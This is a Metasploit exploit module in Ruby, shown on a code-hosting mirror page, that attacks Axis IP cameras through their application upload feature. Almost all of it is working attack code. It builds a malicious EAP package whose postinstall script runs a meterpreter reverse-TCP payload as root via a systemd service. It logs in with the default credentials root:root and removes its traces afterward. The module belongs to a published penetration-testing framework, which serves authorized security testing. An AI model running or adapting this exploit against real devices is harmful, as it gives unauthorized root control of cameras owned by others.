CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/axis_app_install.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::CmdStager
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Axis IP Camera Application Upload',
19
'Description' => %q{
20
This module exploits the "Apps" feature in Axis IP cameras. The feature allows third party
21
developers to upload and execute 'eap' applications on the device. The system does not validate
22
the application comes from a trusted source, so a malicious attacker can upload and execute
23
arbitrary code. The issue has no CVE, although the technique was made public in 2018.
24
25
This module uploads and executes stageless meterpreter as `root`. Uploading the application
26
requires valid credentials. The default administrator credentials used to be `root:root` but
27
newer firmware versions force users to provide a new password for the `root` user.
28
29
The module was tested on an Axis M3044-V using the latest firmware (9.80.3.8: December 2021).
30
Although all modules that support the "Apps" feature are presumed to be vulnerable.
31
},
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'jbaines-r7' # Discovery and Metasploit module
35
],
36
'References' => [
37
[ 'URL', 'https://www.tenable.com/blog/tenable-research-advisory-axis-camera-app-malicious-package-distribution-weakness'],
38
[ 'URL', 'https://www.axis.com/support/developer-support/axis-camera-application-platform']
39
],
40
'DisclosureDate' => '2018-04-12',
41
'Platform' => ['linux'],
42
'Arch' => [ARCH_ARMLE],
43
'Privileged' => true,
44
'Targets' => [
45
[
46
'Linux Dropper',
47
{
48
'Platform' => 'linux',
49
'Arch' => [ARCH_ARMLE],
50
'Type' => :linux_dropper,
51
'Payload' => {},
52
'DefaultOptions' => {
53
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' # Use stagless payloads until issue 16107 gets addressed to fix the ARMLE stager
54
}
55
}
56
]
57
],
58
'DefaultTarget' => 0,
59
'DefaultOptions' => {
60
'RPORT' => 80,
61
'SSL' => false
62
},
63
'Notes' => {
64
'Stability' => [CRASH_SAFE],
65
'Reliability' => [REPEATABLE_SESSION],
66
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
67
}
68
)
69
)
70
register_options([
71
OptString.new('TARGETURI', [true, 'Base path', '/']),
72
OptString.new('USERNAME', [true, 'The username to authenticate with', 'root']),
73
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'root'])
74
])
75
end
76
77
# Check function will attempt to verify:
78
#
79
# 1. The provided credentials work for authentication
80
# 2. The remote target is an axis camera
81
# 3. The applications API exists.
82
#
83
def check
84
# grab the brand/model. Shouldn't require authentication.
85
res = send_request_cgi({
86
'method' => 'GET',
87
'uri' => normalize_uri(target_uri.path, '/axis-cgi/prod_brand_info/getbrand.cgi')
88
})
89
90
return CheckCode::Unknown unless res && (res.code == 200)
91
92
body_json = res.get_json_document
93
return CheckCode::Unknown if body_json.empty? || body_json.dig('Brand', 'ProdShortName').nil?
94
95
# The brand / model are now known
96
check_comment = "The target reports itself to be a '#{body_json.dig('Brand', 'ProdShortName')}'."
97
98
# check to see if the applications api exists (also tests credentials)
99
res = send_request_cgi({
100
'method' => 'GET',
101
'username' => datastore['USERNAME'],
102
'password' => datastore['PASSWORD'],
103
'uri' => normalize_uri(target_uri.path, '/axis-cgi/applications/list.cgi')
104
})
105
106
# A strange edge case where there is no response... respond detected
107
return CheckCode::Detected unless res
108
# Respond safe if credentials fail, to prevent the exploit from running
109
return CheckCode::Safe('The user provided credentials did not work.') if res.code == 401
110
# Assume any non-200 means the API doesn't exist
111
return CheckCode::Safe(check_comment) if res.code != 200
112
113
# This checks for an XML response which I'm not sure is smart considering most of the device
114
# does JSON replies... the concerning being that this response has changed in newer models
115
return CheckCode::Safe(check_comment) unless res.body.include?('<reply result="ok">') != 200
116
117
CheckCode::Appears(check_comment)
118
end
119
120
# Creates a malicious "eap" application. The package application will gain execution
121
# through the postinstall script. The script, which executes as a systemd oneshot, will
122
# create and execute a new service for the payload. We have to do this because the oneshot
123
# child processes will be terminated when the main binary exits. Executing the payload from
124
# a new service gets around that issue.
125
#
126
# The eap registers as a "lua" apptype, because the binary version (armv7hf) gets checked
127
# for some required libraries whereas the lua version is just accepted.
128
#
129
# The construction of the eap follows this pattern:
130
# * tar -cf exploit payload package.conf postinstall.sh payload.service
131
# * gzip exploit
132
# * mv exploit.gz exploit.eap
133
def create_eap(payload, appname)
134
print_status("Creating an application package named: #{appname}")
135
script_name = "#{Rex::Text.rand_text_alpha_lower(3..8)}.sh"
136
137
package_conf = "PACKAGENAME='#{Rex::Text.rand_text_alpha(4..14)}'\n" \
138
"APPTYPE='lua'\n" \
139
"APPNAME='#{appname}'\n" \
140
"APPID='48#{Rex::Text.rand_text_numeric(3)}'\n" \
141
"APPMAJORVERSION='#{Rex::Text.rand_text_numeric(1)}'\n" \
142
"APPMINORVERSION='#{Rex::Text.rand_text_numeric(1..2)}'\n" \
143
"APPMICROVERSION='#{Rex::Text.rand_text_numeric(1..3)}'\n" \
144
"APPGRP='root'\n" \
145
"APPUSR='root'\n" \
146
"POSTINSTALLSCRIPT='#{script_name}'\n" \
147
"STARTMODE='respawn'\n"
148
149
# this sync, sleep, cp, sleep pattern is not optimal, but the underlying
150
# filesystem was taking time to catch up to the exploit (and mounting and
151
# unmounting itself which is just weird) and this seemed like a reasonable,
152
# if not hacky, way to give it a chance to catch up. Seems to work well.
153
start_service =
154
"#!/bin/sh\n"\
155
"\nsync\n"\
156
"\nsleep 2\n"\
157
"\ncp ./#{appname}.service /etc/systemd/system/\n" \
158
"\nsleep 2\n"\
159
"\nsystemctl start #{appname}\n"
160
161
# only register the service file for deletion. Everything else will be
162
# deleted by the uninstall function called later.
163
register_file_for_cleanup("/etc/systemd/system/#{appname}.service")
164
165
service =
166
"[Unit]\n"\
167
"Description=\n"\
168
"[Service]\n"\
169
"Type=simple\n"\
170
"User=root\n"\
171
"ExecStart=/usr/local/packages/#{appname}/#{appname}\n"\
172
"\n"\
173
"[Install]\n"\
174
"WantedBy=multi-user.target\n"
175
176
tarfile = StringIO.new
177
Rex::Tar::Writer.new tarfile do |tar|
178
tar.add_file('package.conf', 0o644) do |io|
179
io.write package_conf
180
end
181
tar.add_file(script_name.to_s, 0o755) do |io|
182
io.write start_service
183
end
184
tar.add_file(appname.to_s, 0o755) do |io|
185
io.write payload
186
end
187
tar.add_file("#{appname}.service", 0o644) do |io|
188
io.write service
189
end
190
end
191
tarfile.rewind
192
tarfile.close
193
194
Rex::Text.gzip(tarfile.string)
195
end
196
197
# Upload the malicious EAP application for a root shell. Always attempt to uninstall the application
198
def exploit
199
appname = Rex::Text.rand_text_alpha_lower(3)
200
eap = create_eap(payload.encoded, appname)
201
202
# Instruct the application to install the constructed EAP
203
multipart_form = Rex::MIME::Message.new
204
multipart_form.add_part('{"apiVersion":"1.0","method":"install"}', 'application/json', nil, 'form-data; name="data"; filename="blob"')
205
multipart_form.add_part(eap, 'application/octet-stream', 'binary', "form-data; name=\"fileData\"; filename=\"#{appname}.eap\"")
206
207
install_endpoint = normalize_uri(target_uri.path, '/axis-cgi/packagemanager.cgi')
208
print_status("Sending an application upload request to #{install_endpoint}")
209
res = send_request_cgi({
210
'method' => 'POST',
211
'username' => datastore['USERNAME'],
212
'password' => datastore['PASSWORD'],
213
'uri' => install_endpoint,
214
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
215
'data' => multipart_form.to_s
216
})
217
218
# check for successful installation
219
fail_with(Failure::Disconnected, 'Connection failed') unless res
220
fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 OK: #{res.code}") unless res.code == 200
221
body_json = res.get_json_document
222
fail_with(Failure::UnexpectedReply, 'Missing JSON response') if body_json.empty?
223
# {"apiVersion"=>"1.4", "method"=>"install", "error"=>{"code"=>60, "message"=>"Failed to install acap"}}
224
fail_with(Failure::UnexpectedReply, 'The target responded with a JSON error') unless body_json['error'].nil?
225
226
# syncing the unstaged meterpreter payload seems to take a little bit for the poor little
227
# embedded filesystem. Give it a chance to sync up before we try to remove the application.
228
print_good('Application installed. Pausing 5 seconds to let the filesystem sync.')
229
sleep(5)
230
ensure
231
uninstall_endpoint = normalize_uri(target_uri.path, '/axis-cgi/applications/control.cgi')
232
print_status("Sending a delete application request to #{uninstall_endpoint}")
233
res = send_request_cgi({
234
'method' => 'GET',
235
'username' => datastore['USERNAME'],
236
'password' => datastore['PASSWORD'],
237
'uri' => uninstall_endpoint,
238
'vars_get' => {
239
'action' => 'remove',
240
'package' => appname.to_s
241
}
242
})
243
244
# instructions for manually removal if the above fails. That should never happen, but best be safe.
245
removal_instructions = 'To manually remove the application, log in to the system and then select the apps tab. ' \
246
"Find the app named '#{appname}' and select it. Click the trash bin icon to uninstall it."
247
248
# check for successful removal
249
print_bad("The server did not respond to the application deletion request. #{removal_instructions}") unless res
250
print_bad("The server did not respond with 200 OK to the application deletion request. #{removal_instructions}") unless res.code == 200
251
print_bad("The application deletion response did not contain the expected body. #{removal_instructions}") unless res.body.include?('OK')
252
print_good("The application #{appname} was successfully removed from the target!")
253
end
254
end
255
256